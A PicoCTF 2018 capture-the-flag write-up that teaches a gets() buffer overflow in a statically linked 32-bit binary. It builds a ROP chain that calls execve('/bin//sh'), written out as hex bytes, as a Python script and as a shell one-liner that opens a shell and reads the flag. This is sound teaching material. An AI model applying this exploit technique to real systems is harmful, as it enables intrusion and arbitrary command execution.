PicoCTF 2018 - can-you-gets-me

Note: This article is part of our PicoCTF 2018 BinExp Guide.

Spot the Bug

For one last time, here’s the classic gets vulnerability that we’ve covered in so many other buffer-overflow challenges (buffer-overflow-1, buffer-overflow-2, got-2-learn-libc, rop-chain, …)

void vuln() {
  char buf[16];
  printf("GIVE ME YOUR NAME!\n");
  return gets(buf);
}

Strategy

This time around the C code is very sparse. We see the vuln function, but not much else. However, the size of the binary is actually quite hefty (709KiB, when most of the challenges are less than 10KiB). What gives?

It appears that this binary has been compiled and statically linked against libc. That means that instead of dynamically linking against whatever base version of libc is present on the system, a version of libc has been compiled directly into the binary itself.

How does this help us? Well, due to it’s hefty size, there should be a fair number of gadgets for us to ROP into. Note, this is a 32-bit linux binary, so we will essentially want to execute the same instructions we did in shellcode, but this time we’ll construct the individual components out of gadgets.

There are some different tools to analyze binaries for the gadgets they contain, I recommend ropper, but there are many other options, including a very simple one built-in to pwntools.

Background Info

Using exactly the same technique as shellcode, we want to run the execve system call. To do that, we need the following registers set to these values:

  • eax = 0x0b
  • ebx = &"/bin/sh"
  • ecx = &0
  • edx = &0

At a minimum, you will need gadgets to set eax, ebx, ecx, and edx. You will also need a writeable block of memory to store the command string, and a primitive to move content from registers into writeable memory.

NOTE: Here’s how you’d find these gadgets using ropper:

$ ropper
(ropper)> file gets
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] File loaded.  

(gets/ELF/x86)> search pop eax
[INFO] Searching for gadgets: pop eax

[INFO] File: gets
[...]
0x080b84d6: pop eax; ret;

(gets/ELF/x86)> search mov [%], eax
[INFO] Searching for gadgets: mov [%], eax

[INFO] File: gets
[...]
0x08054b4b: mov dword ptr [edx], eax; ret;
[...]

And here’s a list of gadgets that I’ve found, but you should figure out how to search binaries for your own gadgets:

0x08054b4b: mov dword ptr [edx], eax; ret;
0x0806f19a: pop edx; ret;
0x0806f1c0: pop edx; pop ecx; pop ebx; ret;
0x0806f7a0: int 0x80; ret;
0x080b84d6: pop eax; ret;

Next up, we need to store the null-terminated string "/bin/sh" in memory somewhere, as well as a NULL pointer (4 null bytes). If we shove the 4-byte NULL immediately after the string "/bin/sh", then the first byte can serve double-duty: it’ll also be the string terminator. However, the string "/bin/sh" (without the null terminator) is 7 chars long, which is annoying because we will be popping of the stack 4 bytes (1 dword) at a time. However, it turns out execve will ignore multiple consecutive '/'s in a row, so what we’ll use instead is an 8 byte string like "/bin//sh". Also, note that gets() writes directly into the buffer, so null characters are not a problem (but newline characters are).

Next, we need an address of writeable memory. Since we don’t really care about the current state of the program, we’re just going to use the beginning of the .data segment.

$ readelf -S gets | grep ' .data '
  [24] .data             PROGBITS        080ea060 0a1060 000f20 00  WA  0   0 32

Finally, how many bytes should go in the buffer before we overwrite the return address of vuln?

vuln:
  push   ebp
  mov    ebp,esp
  sub    esp,0x18
  ; ...
  sub    esp,0xc
  lea    eax,[ebp-0x18]
  push   eax
  call   804f290 <_IO_gets>
  add    esp,0x10
  leave  
  ret   

That’s right: 0x18 (24) bytes for the buffer, plus 4 bytes for the preserved ebp register.

If you’re confident in your skills, try the challenge out at /problems/can-you-gets-me_1_e66172cf5b6d25fffee62caf02c24c3d on the shell server now.

Exploitation

Let’s list the gadgets (and their arguments) that you need to execute:

  1. Pop "/bin" into eax
  2. Pop 0x080ea060 into edx
  3. Move eax into [edx]
  4. Pop "//sh" into eax
  5. Pop 0x080ea064 into edx
  6. Move eax into [edx]
  7. Pop 0x00000000 into eax
  8. Pop 0x080ea068 into edx
  9. Move eax into [edx]
  10. Pop 0x000000b into eax
  11. Pop 0x080ea060 into ebx, 0x080ea068 into ecx, and 0x080ea068 into edx
  12. Int 0x80

Which means you could construct a buffer by hand like this:

55 55 55 55 55 55 55 55 55 55 55 55 55 55 <- padding
55 55 55 55 55 55 55 55 55 55 55 55 55 55 <- padding

d6 84 0b 08 <- 1. pop eax; ret; (gadget)
2f 62 69 6e <- 1. "/bin"

9a f1 06 08 <- 2. pop edx; ret; (gadget)
60 a0 0e 08 <- 2. 0x080ea060

4b 4b 05 08 <- 3. mov dword ptr [edx], eax; ret; (gadget)

d6 84 0b 08 <- 4. pop eax; ret; (gadget)
2f 2f 73 68 <- 4. "//sh"

9a f1 06 08 <- 5. pop edx; ret; (gadget)
64 a0 0e 08 <- 5. 0x080ea064

4b 4b 05 08 <- 6. mov dword ptr [edx], eax; ret; (gadget)

d6 84 0b 08 <- 7. pop eax; ret; (gadget)
00 00 00 00 <- 7. 0x00

9a f1 06 08 <- 8. pop edx; ret; (gadget)
68 a0 0e 08 <- 8. 0x080ea068

4b 4b 05 08 <- 9. mov dword ptr [edx], eax; ret; (gadget)

d6 84 0b 08 <- 10. pop eax; ret; (gadget)
0b 00 00 00 <- 10. 0x0b

c0 f1 06 08 <- 11. 0x0806f1c0: pop edx; pop ecx; pop ebx; ret; (gadget)
68 a0 0e 08 <- 11. edx = 0x080ea068
68 a0 0e 08 <- 11. ecx = 0x080ea068
60 a0 0e 08 <- 11. ebx = 0x080ea060

a0 f7 06 08 <- 12. int 80 (gadget)

Or, the same thing, but constructed in python:

#!/usr/bin/env python
# works with python2 or python3
import struct, os

p = lambda x : struct.pack('<I', x)

os.write(1, (b'U'*28 +
      p(0x080b84d6) + b'/bin' +       # pop eax gadget
      p(0x0806f19a) + p(0x080ea060) + # pop edx gadget
      p(0x08054b4b) +                 # mov dword ptr [edx], eax gadget
      p(0x080b84d6) + b'//sh' +       # pop eax gadget
      p(0x0806f19a) + p(0x080ea064) + # pop edx gadget
      p(0x08054b4b) +                 # mov dword ptr [edx], eax gadget
      p(0x080b84d6) + p(0x00000000) + # pop eax gadget
      p(0x0806f19a) + p(0x080ea068) + # pop edx gadget
      p(0x08054b4b) +                 # mov dword ptr [edx], eax gadget
      p(0x080b84d6) + p(0x0000000b) + # pop eax gadget
      p(0x0806f1c0) + p(0x080ea068) + p(0x080ea068) + p(0x080ea060) + # pop edx,ecx,ebx gadget
      p(0x0806f7a0) + b'\n'           # int 0x80 gadget
))

Finally, you can verify that it all works as expected:

$ cd /problems/can-you-gets-me_1_e66172cf5b6d25fffee62caf02c24c3d
$ (python -c 'import struct, os; p = lambda x : struct.pack("<I", x); os.write(1, (b"U"*28 + p(0x080b84d6) + b"/bin" + p(0x0806f19a) + p(0x080ea060) + p(0x08054b4b) + p(0x080b84d6) + b"//sh" + p(0x0806f19a) + p(0x080ea064) + p(0x08054b4b) + p(0x080b84d6) + p(0x00000000) + p(0x0806f19a) + p(0x080ea068) + p(0x08054b4b) + p(0x080b84d6) + p(0x0000000b) + p(0x0806f1c0) + p(0x080ea068) + p(0x080ea068) + p(0x080ea060) + p(0x0806f7a0) + b"\n"))'; cat -) | ./gets
GIVE ME YOUR NAME!
ls
flag.txt  gets  gets.c
cat flag.txt
picoCTF{===REDACTED===}

Congrats: You’ve now mastered every single buffer overflow exploit, head back to the PicoCTF 2018 BinExp Guide to continue with the heap challenges!